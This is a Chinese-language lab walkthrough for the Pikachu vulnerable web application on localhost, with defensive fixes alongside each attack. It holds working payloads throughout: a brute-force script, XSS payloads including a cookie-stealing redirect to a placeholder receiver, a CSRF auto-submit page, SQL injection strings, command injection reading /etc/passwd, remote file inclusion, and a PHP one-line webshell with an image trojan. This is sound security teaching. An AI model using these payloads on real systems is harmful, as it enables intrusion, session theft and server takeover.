http://127.0.0.1/pikachu/vul/burteforce/bf_form.php原理白话:登录表单没有任何防爆破措施。你手动一个个试密码太慢,Burp 的 Intruder 能自动把字典里的密码挨个提交,你只需观察哪个响应"与众不同"。
admin / abc123 点登录 → Burp 的 Intercept 拦到 POST 请求(如果页面直接跳转了,说明 Intercept 是 Off,回去打开再试一次)password=abc123,用鼠标选中 abc123 → 点 Add §(变成 password=§abc123§)123456admin / 123456 正常登录 → 显示"欢迎 admin",通关http://127.0.0.1/pikachu/vul/burteforce/bf_client.php原理白话:网页上的验证码是 JS 生成、JS 比对的,服务器只收账号密码,没有一句验证码校验代码。而攻击者用 Burp 发请求时不经过浏览器,等于跳过了所有前端逻辑。
看源码:在登录页右键"查看网页源代码",能找到类似 validate() 的 JS 函数在前端比对验证码;服务端 PHP 只处理账号密码。
§ 包住密码值),验证码字段随便留个值,服务器不看它过关标准达成:不理会验证码也爆破成功——证明验证码只拦住了"人",没拦住"程序"。
http://127.0.0.1/pikachu/vul/burteforce/bf_server.php原理白话:验证码确实是服务端生成的,但校验通过后没有作废(session 里的验证码不刷新)。攻击者先手动提交一次正确验证码,抓到这次请求,之后爆破时一直复用同一个验证码值。
vcode 字段(就是验证码的值)——记下这个值为什么能成功:服务器校验"这个 session 对应的验证码对不对",而你的 session 没变、验证码没刷新,所以同一个 vcode 一直有效。
unset($_SESSION['vcode'])),一次性使用;再加验证码有效期(如 60 秒)。http://127.0.0.1/pikachu/vul/burteforce/bf_token.php密码是: 123456原理白话:每次打开登录页,服务器生成一个随机 token 塞在隐藏表单字段里,且服务端 session 同步记录。提交时必须带正确 token,否则直接拒绝。这是 Pikachu 暴力破解模块里最"接近正确防御"的一关,所以要上 Python 脚本自动完成"取 token → 提交"的循环。
name="token" value="xxxxx" 的隐藏字段——确认 token 藏在哪(脚本要靠它提取)bf_token.py(保存路径不要有中文和空格):import requests
url = "http://127.0.0.1/pikachu/vul/burteforce/bf_token.php"
s = requests.Session()
for pwd in ["123456", "password", "admin", "000000"]:
# 1. 先 GET 页面,从返回的 HTML 里提取本次的 token
html = s.get(url).text
# token 藏在隐藏 input 里,形如 name="token" value="xxxxx"
token = html.split('name="token" value="')[1].split('"')[0]
# 2. 带 token 提交
r = s.post(url, data={
"username": "admin",
"password": pwd,
"token": token,
"submit": "Login",
})
if "欢迎" in r.text or "admin" in r.text:
print("密码是:", pwd)
break
cd 到脚本目录,运行 python bf_token.py密码是: 123456IndexError 或 token 提取失败 → 原因:token 字段在页面里的写法与脚本里假设的不同。打开页面源代码,找到 token 那行,按实际格式修改 split() 的参数print(pwd, r.status_code) 看每次提交的状态这个模块的过关标准统一是:页面弹出 alert 弹窗(弹窗内容无所谓)。弹了 = 你的 JS 被执行了 = 通关。
http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php原理白话:服务器把 URL 参数原样回显进 HTML,无任何编码。你输入的 <script> 不是被"显示"出来,而是被浏览器"执行"了。
看源码(在靶场目录打开 vul/xss/xss_reflected_get.php):echo $html.$_GET['message'];——输入直接进 HTML,无任何编码。
<script>alert(1)</script> → 发现塞不进去:输入框有 maxlength="20"(最多 20 字符)maxlength="20" 改成 maxlength="100" → 回页面输入框就能贴长 payload 了<script>alert(document.cookie)</script>(弹窗显示 Cookie,说明脚本能拿到身份凭证)过关标准达成:页面弹窗。这一步的意义:20 字符长度限制只是前端限制,永远不能当安全措施——浏览器端的一切限制都能被绕过。
</script> 的斜杠),对照详细步骤逐字符核对alert(document.cookie) 能看到更有意义的内容htmlspecialchars($str, ENT_QUOTES, 'UTF-8')。http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php(需登录,账号 pikachu / 000000)原理白话:与 3.2.1 完全相同,只是参数在 POST 请求体里,地址栏看不到。
pikachu / 000000<script>alert(document.cookie)</script> 提交 → 弹窗即通关http://127.0.0.1/pikachu/vul/xss/xss_stored.php原理白话:留言板把用户提交的内容存进数据库,之后每个打开页面的人,浏览器都会执行这段脚本。
看源码:留言先 INSERT 入库,展示时直接从库里取出拼进 HTML——入库不消毒、出库不编码。
<img src=x onerror=alert(document.cookie)>(解释:img 标签加载图片,src=x 是一个必然不存在的图片地址,加载失败触发 onerror 里的 JS——绕开 script 标签的另一种写法)
<img src=x onerror=alert(document.cookie)> 别少空格、别少尖括号http://127.0.0.1/pikachu/vul/xss/xss_dom.php(点页面上的 "what do you see?" 链接进入)原理白话:URL 里 # 后面的部分(叫 hash/fragment)根本不会发给服务器,但前端 JS 能读它。这关的 JS 从 URL 读 text 参数 → 直接写进 innerHTML → 浏览器执行。
看源码(页面 JS):
// 从 URL 里取 text 参数 → 直接 innerHTML(危险 sink)
var str = document.getElementById("text").innerHTML = (new URL(location.href)).searchParams.get("text");
关键概念要记牢:source(location.search 等可控数据源)→ sink(innerHTML/eval 等危险写入点),中间没有过滤 = DOM 型 XSS。
http://127.0.0.1/pikachu/vul/xss/xss_dom.php?text=<img src=x onerror=alert(1)>%3Cimg%20src=x%20onerror=alert(1)%3E(<→%3C,>→%3E,空格→%20)#text= 后面;先点页面上"有的链接"看 URL 变化#text= 的值页面没变化 → 原因:改完 URL 要按回车重新加载;# 后的变化浏览器不会自动刷新<script> 不弹 → 原因:这关要先闭合 href 属性,用 ' onclick="alert(1)" 这类闭合型 payloadtextContent 替代 innerHTML;框架里禁用 dangerouslySetInnerHTML/v-html 渲染用户输入。http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php原理白话:与上关同源,数据从表单提交进来,JS 拼接后 innerHTML。
'"><img src=x onerror=alert(document.cookie)>'"> 的作用:这段输入被 JS 拼进一段带引号的字符串里,'"> 先把字符串闭合掉,后面的 <img> 才能成为独立代码——这叫"闭合"思想,3.4 SQL 注入模块要反复用,现在先混个脸熟<script> 不弹 → 原因:注入点在 <a> 标签的 href 属性里,要先闭合 </a> 再写 script,参照详细步骤 payload</a> 标签?<a> 标签的 href 属性内,不闭合标签,注入内容会被当成链接文字而不是新标签http://127.0.0.1/pikachu/vul/xss/xssblind/xss_blind.php原理白话:=存储型 XSS + 打后台。脚本的目标是管理员的 Cookie(管理员权限更高,价值更大)。这是 SRC 实战里最常见的 XSS 用法。
<script>alert(document.cookie)</script> (解释:document.cookie 是"看这条留言的人的 Cookie"——谁打开这条留言,弹窗里显示的就是谁的 Cookie)
http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php,账号 admin / 123456<script>document.location='http://你搭建的接收端地址/?cookie='+document.cookie</script>,Cookie 就会被"外送"到你的接收端——这才是实战里偷 Cookie 的完整链路(本机版靶场没有自带收赃页,直接看弹窗即可)过关标准达成:理解"盲打"的精髓——打的不是前台用户,是后台管理员。
xssblind/admin_login.php 登录后台看效果http://127.0.0.1/pikachu/vul/xss/xss_01.php<script> 的 payload 弹窗原理白话:服务器把输入里的 <script 相关内容删掉了。任务:绕过过滤。
看源码:
// 把<script及其中间内容全部替换为空
$message = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $message);
<script>alert(1)</script> → 被过滤掉,无效(体会:过滤是"生效"的)<img src=x onerror=alert(document.cookie)> —— 完全不出现 script 字样过关标准达成:明白一个道理——过滤 script 标签 ≠ 防 XSS,事件属性(onerror)、href、CSS 都是攻击面。
<script> 提交后没弹 → 原因:这关本来就会过滤 <script>,考点是绕过:试 <SCRIPT>(大小写)、<img src=x onerror=alert(1)>、<scr<script>ipt>(双写)<img src=x onerror=alert(1)> 开始逐个试,观察哪个被"放行"<svg onload=alert(1)>、<body onload=alert(1)>、javascript: 协议等http://127.0.0.1/pikachu/vul/xss/xss_02.php< > 都被变成无害文字。但安检漏了一种东西:单引号 ' 不检查。而你的纸条会被放进"用单引号包裹的输入框"里,用一个单引号提前把框"关上",后面就是你的天下了。原理白话:htmlspecialchars() 默认只转义 <、>、"、& 这几个符号,不转义单引号(要加 ENT_QUOTES 参数才转义)。而这关的输出点在 <input value='...'> 的 value 属性里(单引号包裹)——输入一个单引号就能"提前关掉"这个属性,再在属性外面写入 onclick 事件。
看源码:
// 转义了,但默认参数不转义单引号!
$message = htmlspecialchars($_GET['message']);
// 输出在 input 的 value 属性里,且用单引号包裹 —— 单引号能逃出去
echo "<input type='text' value='{$message}'>";
<script>alert(1)</script> → 被转义成纯文本,无效(说明转义在生效,先建立信心)' onclick='alert(1)(注意开头是个单引号)过关标准达成:理解"编码必须匹配上下文"——htmlspecialchars 转义了 HTML 标签,但默认参数漏了单引号,而输出又落在单引号包裹的属性里,防御就穿了。
<script> 不弹窗 → 原因:正常,被转义了。这关的钥匙是单引号,不是 script 标签' onclick='alert(1) 没弹窗 → 原因:①确认开头有单引号(先闭合 value 属性);②点击的是页面里生成的输入框;③引号配对:onclick='alert(1) 里 onclick 用单引号包 alert,末尾不用闭合——value 属性原本的收尾单引号会帮你补上htmlspecialchars($str, ENT_QUOTES) 把单引号也转义;更稳妥的是输出编码匹配上下文(属性统一用双引号 + ENT_QUOTES 组合)。http://127.0.0.1/pikachu/vul/xss/xss_03.phpjavascript: payload,点链接弹窗<a href='...'> 链接里,而且没检查"链接是不是 http/https"。原理白话:源码里 htmlspecialchars 这次加了 ENT_QUOTES(引号也被转义了),但输出在 <a href='...'> 里——javascript: 伪协议不需要引号、不需要标签,照样执行。这个上下文的正确防御不是转义,而是协议白名单。
javascript:alert(document.cookie)<script> 不弹 → 原因:注入点在 <a> 标签的 href 属性里,script 标签无效;这关正解是输入 javascript:alert(1) 后点击链接javascript: 协议照样执行——两关连看,才懂"输出编码要匹配上下文,URL 上下文还要协议白名单"javascript: 伪协议,根本不需要引号——所以 URL 上下文必须再加协议白名单http://127.0.0.1/pikachu/vul/xss/xss_04.php原理白话:用户输入被拼接进 <script> 标签内部的 JS 代码里(JS 上下文)。在 JS 上下文里,HTML 编码没用,必须按 JS 语法处理——正确做法是转义引号和反斜杠,或者干脆不把用户输入放进 JS。
看源码:
$ms = '<?php echo $_GET['message']; ?>';
// 输入直接落在单引号字符串内部
';alert(document.cookie);//$ms = '你的输入'; —— 你的输入被单引号包着' 先闭合掉左边的单引号 → 字符串结束; 结束当前语句 → 现在可以写新语句了alert(document.cookie); 是你的新语句 → 弹窗// 把右边剩余内容(原来的 ';)注释掉 → 避免语法错误过关标准达成:理解"闭合"与"注释"手法——这是 XSS 的最后一课,也是 SQL 注入的预习(3.4 模块的引号闭合思想一模一样)。
<script> 不弹 → 原因:注入点在 JS 代码字符串里,要先闭合 </script> 再开新标签:</script><script>alert(1)</script><script>;必须放时要对引号、反斜杠、</script> 做 JS 上下文转义。// 在这里的作用是什么?| 关卡 | 上下文 | 核心知识点 |
|---|---|---|
| 反射型×2 | HTML 标签 | 前端限制不可信 |
| 存储型 | HTML 标签 | 入库/出库都要处理,危害最大 |
| DOM 型×2 | 前端 JS | source→sink,服务端无痕 |
| 盲打 | HTML 标签 | 打后台管理员 |
| 过滤 | HTML 标签 | 黑名单可绕过(换标签/事件) |
| htmlspecialchars / href | URL 属性 | 编码要匹配上下文,javascript: 协议 |
| js 输出 | JS 脚本 | 闭合引号注入 |
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get.php(账号 vince / 123456 登录)原理白话:个人信息修改功能使用 GET 请求提交(参数全在 URL 里),没有校验请求来源。受害者点开链接时,浏览器带着他的登录 Cookie 发出请求,服务器照办。
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=男&phonenum=138&add=北京&email=vince@pikachu.com&submit=submit (注意:所有参数都在 URL 里,这就是 GET 的"明信片"特性)
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=138&add=钓鱼城&email=vince@pikachu.com&submit=submit
过关标准达成:受害者只是"点了一下链接",资料就被改了——这就是"借手"。
http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post.php原理白话:POST 只是让攻击者不能"一条链接搞定",但攻击者可以给你一个网页,网页里的 JS 自动提交一个隐藏表单——效果一样。
demo.html,双击用浏览器打开(这可以自己写,也是很好的练习):<!-- demo.html:受害者访问即自动提交 -->
<html><body>
<form id="csrf" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="女">
<input type="hidden" name="phonenum" value="138">
<input type="hidden" name="add" value="钓鱼城">
<input type="hidden" name="email" value="vince@pikachu.com">
<input type="hidden" name="submit" value="submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>
过关标准达成:理解"GET 改 POST 挡不住 CSRF",必须靠 token/来源校验。
http://127.0.0.1/pikachu/vul/csrf/csrftoken/token_get.php原理白话:这关展示了正确的防御——表单里嵌入随机 token,服务器校验。攻击者构造的页面拿不到这个随机值,伪造请求被拒绝。
token=随机值 字段abc)→ 发送 → 提交失败(服务器拒绝)过关标准达成:亲眼看到"有 token 就伪造不了"——这就是 CSRF 防御的核心。补充:token 要放在 URL 之外(表单隐藏字段或请求头),否则会被 Referer 泄露。
动手前先复习 0.7 的 SQL 十分钟入门——那十条语法就是本模块全部弹药。
贯穿全模块的口诀(记牢):
先看参数怎么进 SQL(数字?引号?括号?)
→ 构造闭合,让语句成立
→ 用 # 或 -- 注释掉尾巴
→ or 1=1 恒真测试 → 进阶用 union / updatexml / sleep
本模块过关标准:能拿到数据库名(pikachu)或查出全表数据,即证明注入成立。
http://127.0.0.1/pikachu/vul/sqli/sqli_id.php(需登录 admin / 123456)1 or 1=1 查出全部用户信息原理白话:参数直接以数字形式拼进 SQL,没有引号包裹,所以 payload 不需要处理引号闭合,直接追加逻辑即可——数字型是入门最简单的注入类型。
看源码:
// 输入 id=1 时,SQL 变成:
// select 用户名,邮箱 from member where id=1
$id = $_POST['id'];
$sql = "select * from member where id=$id";
注意 $id 两侧没有引号——这是数字型的标志。
1,正常查出用户(先看正常流程)1 or 1=1 → where 条件恒真,所有用户都被查出来1 or 1=1 order by 1 观察返回;再试 1 union select 1,2,database()(若列数对得上,页面会回显数据库名)过关标准达成:or 1=1 后查出全部用户信息,证明注入成立。
1' or '1'='1 没效果 → 原因:这是数字型,参数不带引号,直接用 1 or 1=1(别加单引号)(int)$id。http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?id=1' or '1'='1 返回全部用户原理白话:参数被单引号包裹拼进 SQL。payload 必须先把引号闭合掉,语句才能成立。这是引号闭合思想的第一课,也是 SQL 注入最重要的基本功。
看源码:
$id = $_GET['id'];
$sql = "select * from users where id='$id'"; // 注意 $id 两侧的单引号
?id=1 → 正常?id=1' → 报 SQL 语法错误(看到报错=注入点确认。记住:"报错是攻击者的眼睛"——程序把错误细节都告诉你,等于把内部结构暴露给你)?id=1' or '1'='1 → 语句变成 where id='1' or '1'='1' 恒真,查出所有用户过关标准达成:返回全部用户。拆解 payload 为什么这样写:1'(闭合左边引号) or '1'='1(恒真条件,同时把右边引号接上)——整个字符串拼接后语法完整,这是所有引号闭合的通用思路。
?id=1' 没报错反而没反应 → 原因:浏览器把特殊字符转义了。在 Burp 里改参数:抓请求 → Repeater → 把 id=1 改成 id=1' or '1'='1 → Send' 是干什么的?'1'='1 负责把右引号接上,让语句语法正确http://127.0.0.1/pikachu/vul/sqli/sqli_search.php%' or 1=1# 列出全部用户like '%你的输入%'。你要先理解 % 是 SQL 里的"通配符"(代表任意内容),然后才能精准闭合。原理白话:搜索功能用 like '%输入%' 做模糊查询。payload 要用 % 把 like 的引号结构闭合掉。
看源码:
$sql = "select * from member where username like '%$name%'";
k → 正常出结果(先看正常流程)%' or 1=1# → SQL 变成 like '%%' or 1=1#%',恒真,列出全部用户% 补全前面 '% 的模糊匹配 → ' 闭合引号 → or 1=1 恒真 → # 注释掉后面的 %'过关标准达成:全部用户被列出。
1 or 1=1 没效果 → 原因:搜索型的 SQL 是 like '%关键字%' 结构,要先闭合前面的引号和 %:用 %' or 1=1## 在 URL 里丢失 → 原因:这关是 GET 传参,# 是 URL 锚点标识符,要写成 %23 或用 --+ 注释' 看页面是否报 SQL 错误,确认注入点存在%?'%%',否则语法不通http://127.0.0.1/pikachu/vul/sqli/sqli_x.phpadmin') or 1=1 # 列出全部用户('你的输入')——引号外面还有括号。闭合时要同时补上 ')。这关训练的是"看源码找闭合方式":闭合方式不是背的,是从报错和源码推出来的。原理白话:参数被单引号+括号包裹:('$id')。闭合时要同时补上 ')。
看源码:
$sql = "select id,email from member where username=('$name')";
?name=admin → 正常?name=admin' → 报错(报错信息提示有括号未闭合——学会读报错信息,它会告诉你差什么)admin') or 1=1 # → 恒真,列出全部过关标准达成:全表列出。这关的价值:闭合方式不是背的,是从报错和源码推出来的——真实场景里没人告诉你括号怎么配,全靠试和看。
' or 1=1# 失败 → 原因:这关的闭合符不是单引号,是 '),payload 用 1') or 1=1#;核心思路是"逐个试闭合符"1'、1"、1')、1"),哪个报"语法错误"说明哪个差一点闭合成功,再补全它'、")、')) 等各种组合,事先不知道,只能逐个试——体现"注入第一步是猜闭合符"的思想http://127.0.0.1/pikachu/vul/sqli/sqli_reg.php;个人信息修改(update)需登录pikachu原理白话:注入发生在 INSERT/UPDATE 语句里。这类注入不常回显查询结果,所以报错注入是标配手法——用 updatexml() 之类的函数"故意制造报错,让错误信息把数据带出来"。
详细步骤(注册页 insert 注入,报错注入经典演示):
123' or updatexml(1,concat(0x7e,database()),0) or 'pikachudatabase() 继续读数据:updatexml(1,concat(0x7e,version()),0)updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1)),0)原理拆解(重点):updatexml() 的第二个参数要求是合法的 XPath;concat(0x7e,database()) 拼出来的内容不合法 → MySQL 报错 → 错误消息里原样带上了 database() 的结果。这就是"报错带出数据"。
or ' 不能丢(那是闭合引号用的)0x7e 是什么?~ 的十六进制写法,用来在报错信息里分隔,方便肉眼定位http://127.0.0.1/pikachu/vul/sqli/sqli_del.php(需登录,留言删除功能)原理白话:留言删除时,留言 id 被拼进 DELETE 语句。删除操作也没有回显,同样用报错注入。
看源码:
$id = $_GET['id'];
$sql = "delete from message where id=$id";
?id=11 or updatexml(1,concat(0x7e,database()),0)过关标准达成:报错显示数据库名。
1 or 1=1 看提示变化or 1=1 会删掉所有留言,属正常现象(本地靶场可重置数据库)http://127.0.0.1/pikachu/vul/sqli/sqli_header.php(需登录 admin / 123456)原理白话:服务器把请求头里的 User-Agent 原样写进数据库。既然它进 SQL 语句时不做处理,那我们把 User-Agent 改成注入 payload,注入就成了。
看源码:
// 把 User-Agent 存入数据库
$sql = "insert into httpinfo(useragent) values('$ua')";
User-Agent 那一行 → 把值改成:' or updatexml(1,concat(0x7e,database()),0) or '
过关标准达成:报错注入成功。学习要点:任何输入面都可能成为注入点(UA、Referer、X-Forwarded-For、Cookie)——只要服务器把请求的某个部分存进了数据库。
' 看页面是否报 SQL 错,确认 header 注入点存在;display_errors 要开着http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php原理白话:服务器不报错、不回显查询结果,只回"查询成功"或"查询失败"。攻击者靠真/假两种页面差异逐位猜出数据。
?id=1 and 1=1 → 页面正常(条件为真)?id=1 and 1=2 → 页面变化/无结果(条件为假)——两种响应差异就是"盲注的眼睛",先确认存在差异?id=1 and length(database())>5 → 页面正常=真,说明长度大于 5(length() 返回字符串长度)?id=1 and ascii(substr(database(),1,1))>100 → 真/假二分逼近(substr 取第 1 个字符,ascii 转成数字,比如 p 是 112)过关标准达成:理解"真假二值信息也能泄露完整数据"——盲注的本质是把数据变成大量的是/否问题。
1 and 1=1 与 1 and 1=2 对比,一个显示查询结果、一个不显示1 and 1=1 也不显示结果 → 原因:先试 1 本身有没有结果(id=1 是否存在);确认 and 前后有空格http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php原理白话:连真假页面差异都没有时,用时间差传递信息:条件成立就让服务器 sleep(),观察响应时间。
?id=1,秒回(先感受正常速度)?id=1 and if(1=1,sleep(3),0) → 明显延迟约 3 秒(条件为真,if 函数执行 sleep(3))?id=1 and if(1=2,sleep(3),0) → 秒回(条件为假)?id=1 and if(length(database())>5,sleep(3),0) → 延迟=库名长度大于 5过关标准达成:用手表/秒表感受 3 秒延迟差异。学习要点:时间是最可靠的"信使"。
http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php?id=1%df' or 1=1# 注入成功\,让引号失效。但攻击者发现:数据库用 GBK 编码时,%df 这个字节能和后面的反斜杠"抱团"组成一个汉字,把反斜杠吃掉——引号又活了。编码不一致时,转义会被绕过。原理白话:靶场模拟 GBK 编码数据库环境。GBK 是"双字节编码",某些字节(如 %df)要和下一个字节合起来才算一个字符。转义函数加的反斜杠 \ 恰好被 %df 吞掉组成汉字"運",单引号重新生效。
看源码:
// 输入被 addslashes 转义:' 变成 \'(单引号被"无效化")
$id = addslashes($_GET['id']);
$sql = "select * from users where id='$id'";
?id=1' → 不报错(被 addslashes 转义了,注入失败——体会"保安"在起作用)?id=1%df' or 1=1#%df + \(十六进制 5C)在 GBK 下组成汉字"運",反斜杠被吃掉,单引号成功闭合 → 注入成功过关标准达成:or 1=1 生效。学习要点:转义不是万能药,字符集不一致时会被绕过。
%df' 后没报错 → 原因:确认是 GET 传参(URL 里直接写 %df'),且页面编码是 GBK(Pikachu 默认)%df'),且 URL 里 %df 不能被二次编码成 %25df# 时要编码成 %23| 关卡 | 注入点 | 核心手法 |
|---|---|---|
| 数字型 | where 数字 | 直接拼接,无需闭合 |
| 字符型 | where '字符串' | 引号闭合 + or 恒真 |
| 搜索型 | like '%..%' | % 闭合 |
| xx型 | ('..') | 引号+括号闭合 |
| insert/update | 注册/改资料 | 报错注入 updatexml |
| delete | 删除留言 id | 报错注入 |
| http header | User-Agent | 请求头也是输入 |
| 布尔盲注 | where | 真假二分猜数据 |
| 时间盲注 | where | sleep 传信息 |
| 宽字节 | where '..' | %df 吃掉反斜杠 |
;、&&、| 等符号可以连接多条命令。类比:网站的"ping 工具"本意是"帮用户测试网络",结果用户的输入被直接拼进系统命令执行,等于把"服务器终端"交到了用户手里。http://127.0.0.1/pikachu/vul/rce/rce_ping.php原理白话:用户输入直接拼进 ping 命令执行,没有过滤命令分隔符。系统 shell 里 ;(顺序执行)、&(后台执行)、&&(前成功才执行)、|(管道)都能接第二条命令。
看源码:
$ip = $_POST['ipaddress'];
shell_exec('ping -c 4 ' . $ip); // 拼接后交给系统执行
127.0.0.1 → 正常返回 ping 结果(先看正常流程)127.0.0.1 & ipconfig → ping 结果后面跟出 IP 配置信息127.0.0.1; whoami 或 127.0.0.1; ls /127.0.0.1; cat /etc/passwd 读出系统用户文件过关标准达成:攻击者的命令被执行。学习要点:; & && | 的含义(顺序执行/后台执行/逻辑与/管道),以及"把参数包起来"为什么挡不住(引号内命令分隔符依然生效,正确做法是参数化+白名单)。
127.0.0.1 | whoami 没输出 → 原因:先只输 127.0.0.1 看 ping 是否正常;分隔符用 & 或 &&(Windows 下最稳)shell_exec 等危险函数 + 最小权限运行 Web 服务。ping "$ip" 能防住吗?; 在引号内仍被 shell 解析,正解是参数数组方式调用或严格格式校验http://127.0.0.1/pikachu/vul/rce/rce_eval.phpphpinfo(); 后页面打印出 PHP 环境信息原理白话:服务器把用户输入直接喂给 PHP 的 eval()。eval() 是 PHP 里"把字符串当代码执行"的函数,天生危险。
看源码:
$html = $_POST['txt'];
eval($html); // 用户输入当 PHP 代码执行
phpinfo(); → 页面打印出完整 PHP 环境信息(版本、扩展、路径)→ 通关system('whoami'); 或 system('ipconfig'); → 执行系统命令过关标准达成:看到 phpinfo 页面。学习要点:eval 是 PHP 最危险的函数之一,等于把服务器钥匙交给用户。
phpinfo();(带分号);若函数被禁,改试 system('whoami');eval、assert、system、exec 应触发警报。?filename=news.php),服务器 include 该文件。"包含"可以理解为把文件内容"贴"进当前页面。如果没做限制,攻击者就能让服务器"包含"任意文件——本机敏感文件(本地包含),甚至远程恶意代码(远程包含)。http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php../ 一层层往上爬(0.3 节学过),爬到系统根目录,借走系统自己的文件。原理白话:include($_GET['filename']),参数可控 → 用 ../ 目录穿越读取任意本地文件。
看源码:
$filename = $_GET['filename'];
include "include/$filename"; // 无任何校验
?filename=../../../../etc/passwd → 读出系统账号文件?filename=..\..\..\..\windows\win.ini → 读出 Windows 配置文件?filename=../inc/config.inc.php → 读到靶场数据库账号密码(记住:配置文件是 LFI 第一目标——真实攻击里读数据库口令价值最高)过关标准达成:系统文件内容出现在页面。
../../../../Windows/win.ini,Linux/Mac 试 ../../../../etc/passwd../inc/config.inc.php)确认基本穿越可用open_basedir 限制。../ 能穿越目录?../ 可回退到系统根目录http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php原理白话:allow_url_include=On 时(1.1 步骤 4 已配),include 支持 URL——攻击者让服务器去请求自己控制的"恶意文件服务器",执行攻击者代码。
allow_url_include=On(部署章节已配好)evil.txt(Windows 用记事本):<?php system('ipconfig'); ?>
D:\phpstudy_pro\WWW\(Apache 已启动,它就是你的 Web 服务器),或另用 Python 起服务?filename=http://127.0.0.1/evil.txt(指向你自己的 Web 服务;如果 Apache 端口是 8080,写成 http://127.0.0.1:8080/evil.txt)ipconfig 命令结果过关标准达成:远程代码被执行。学习要点:RFI 比 LFI 危险一个量级——从"读文件"升级为"执行任意代码"。
allow_url_include 没开,回 1.1 步骤 4;②evil.txt 的 URL 访问不到(先在浏览器直接访问那个 URL,能看到文件内容才行);③文件放错目录allow_url_include(默认就是关的,练习环境是为了演示才开);白名单文件包含。动手前先准备:写一个一句话木马 evil.php(Windows 用记事本,保存时文件名写 evil.php、编码选 UTF-8):
<?php @eval($_POST['cmd']); ?>
解释:eval 执行传入的 PHP 代码;$_POST['cmd'] 取"密码为 cmd"的 POST 数据。蚁剑连接时密码就填 cmd。
http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php原理白话:只在前端 JS 校验"必须是图片后缀"。抓包绕过浏览器直接发包,服务器照单全收。
看源码:页面 JS 有 checkFileExt() 之类函数在提交前拦 .php;服务端 PHP 无任何校验。
filename="evil.php"(如果它是被改成 .jpg 才过的 JS 校验,就把它改回 evil.php)unsafeupload/uploads/2026xxxx.php)http://127.0.0.1/pikachu/unsafeupload/uploads/你的文件名.php,密码填 cmdwhoami 回车 → 出现用户名 → webshell 上线,通关过关标准达成:webshell 上线。学习要点:前端校验只是"体验优化",不是安全措施。
location ~ \.php$ { deny all; })+ 重命名文件(强制改扩展名为无害类型)。.jpg,木马还能执行吗?http://127.0.0.1/pikachu/vul/unsafeupload/servercheck.php原理白话:服务器校验的是请求头里的 Content-Type("文件类型声明")。这个字段由客户端说了算,改一下就行。
看源码:
// 服务器只检查上传时的 Content-Type 是否为图片类型
if ($_FILES['uploadfile']['type'] != 'image/jpeg' && ...) 拒绝
Content-Type: application/octet-stream(或 text/php)Content-Type: image/jpeg过关标准达成:绕过成功。学习要点:Content-Type 是"自称",不是"真相"——真正可靠的内容识别要看文件头字节(magic number)。
Content-Type: image/jpeg(冒号后有空格),用 Repeater 重发;白名单是 image/gif、image/jpeg、image/pnghttp://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php原理白话:服务器用 getimagesize() 检查文件头,确认是真图片。绕过思路:图片是真的,但里面夹带 PHP 代码。
copy /b 正常图片.jpg + evil.php 图片马.jpg (macOS 终端:cat 正常图片.jpg evil.php > 图片马.jpg) (没有现成图片就随便截个图保存为 jpg)
.jpg 后缀,直接访问不会执行 PHP(先试一下直接访问,看到乱码/图片——理解为什么)http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg
过关标准达成:理解"图片马 + 文件包含"组合拳。学习要点:单独看上传校验很严,但和其他漏洞组合后依然被打穿——安全是体系,不是单点。
copy /b 图片.jpg + 木马.php 合成.jpg;或十六进制编辑器在图片尾部追加 PHP 代码http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php原理白话:下载接口按用户传的文件名拼接路径读取文件,无校验 → 任意文件下载。
看源码:
$filename = $_GET['filename'];
$file = file_get_contents($filename); // 用户可控
?filename=../inc/config.inc.php → 直接下载到靶场数据库配置(含账号密码)?filename=..\..\..\..\windows\win.ini;macOS:?filename=../../../../etc/passwd过关标准达成:敏感配置文件到手。学习要点:下载接口和文件包含是"近亲"——一个读内容给攻击者,一个把内容执行出来。
../ 穿越字符。http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php(lucy / 123456 登录)username 参数查数据——只校验了"登录没登录",没校验"这个 username 是不是你自己的"。你把 URL 里的名字改成别人,就看到了别人的信息。像银行柜员:你说"我查一下王五的余额",柜员只确认了"你是本行客户",没确认"王五是不是你"。原理白话:服务器用客户端传来的 username 参数查库,身份校验缺失。
看源码:
// 只检查了登录态,直接按传入的 username 查库
$sql = "select * from member where username='{$_GET['username']}'";
?username=lucy?username=vince → 看到了 vince 的个人信息(手机号、邮箱等)过关标准达成:任意同级别用户信息可读。学习要点:"对象级授权"缺失——OWASP 把它列为 API 安全第一大问题(BOLA)。
where username=$_SESSION['user']),不让客户端传身份标识。?username=admin 会怎样?http://127.0.0.1/pikachu/vul/overpermission/op2/op2_login.php(pikachu / 000000 普通用户登录)原理白话:前端把"添加用户"按钮隐藏了(普通用户看不到),但后端接口没有做权限校验——直接访问接口照样能用。
看源码:管理员页面 op2_admin.php 处理添加用户请求,没有任何"当前用户是否是管理员"的判断。
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php过关标准达成:普通用户自封管理员。学习要点:前端隐藏 ≠ 权限控制,权限必须后端每个接口都校验。
http://127.0.0.1/pikachu/vul/dir_list/dir_list.php../ 爬到系统目录随便看。原理白话:页面按用户传的 title 参数读取文件内容,无校验 → 路径穿越读任意文件。
